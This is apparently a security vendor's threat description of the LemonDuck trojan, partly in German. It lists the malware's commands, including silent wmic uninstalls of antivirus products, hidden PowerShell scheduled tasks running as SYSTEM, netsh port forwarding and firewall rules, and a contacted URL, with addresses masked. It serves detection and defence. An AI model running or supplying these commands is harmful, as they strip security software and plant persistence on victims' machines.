Trojan.Win32.LEMONDUCK.J

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

• cmd /c powershell -e {Base64 Encoded Command}
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
• "%System%\cmd.exe" /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 120 /tn blackball2 /F /tr blackball2
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn \{Random Characters} /F /tr "powershell -w hidden -c PS_CMD"
• "%System%\schtasks.exe" /run /tn \{Random Characters}
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn {Random Characters}\{Random Characters} /F /tr "powershell -w hidden -c PS_CMD"
• "%System%\schtasks.exe" /run /tn {Random Characters}\{Random Characters}
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\{Random Characters}\{Random Characters} /F /tr "powershell -w hidden -c PS_CMD"
• "%System%\schtasks.exe" /run /tn MicroSoft\Windows\{Random Characters}\{Random Characters}
• "%System%\cmd.exe" /c netsh.exe firewall add portopening tcp 65529 SDNSd
• "%System%\netsh.exe" interface portproxy add v4tov4 listenport=65529 connectaddress={BOCKED}.{BLOCKED}.1.1 connectport=53
• "%System%\netsh.exe" advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.154.202 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.207.96 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.188.255 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.80.221 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.107.193 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.43.37 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.154.202 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.207.96 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.188.255 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.80.221 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.107.193 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.43.37 action=block
• "%System%\schtasks.exe" /delete /tn blackballl /F
• "%System%\schtasks.exe" /delete /tn blackball /F
• "%System%\schtasks.exe" /delete /tn Rtsa2 /F
• "%System%\schtasks.exe" /delete /tn Rtsa1 /F
• "%System%\schtasks.exe" /delete /tn Rtsa /F

Andere Details

It connects to the following possibly malicious URL:

• http://down.{BLOCKED}o.com/gim.jsp

Es macht Folgendes:

• It adds the following scheduled tasks:
  
  • Task Name: blackball2
    Trigger: At {Time and Date of execution} - After triggered, repeat after 02:00:00 indefinitely
    Action: Start a program: blackball2
  • Task Name: {Random Characters}
    Trigger: At {Time and Date of execution} - After triggered, repeat after 1 hour indefinitely
    Action: Start a program: powershell -w hidden -c {Command}
  • Task Name: {Random Characters}\{Random Characters}
    Trigger: At {Time and Date of execution} - After triggered, repeat after 1 hour indefinitely
    Action: Start a program: powershell -w hidden -c {Command}
  • Task Name: MicroSoft\Windows\{Random Characters}\{Random Characters}
    Trigger: At {Time and Date of execution} - After triggered, repeat after 1 hour indefinitely
    Action: Start a program: powershell -w hidden -c {Command}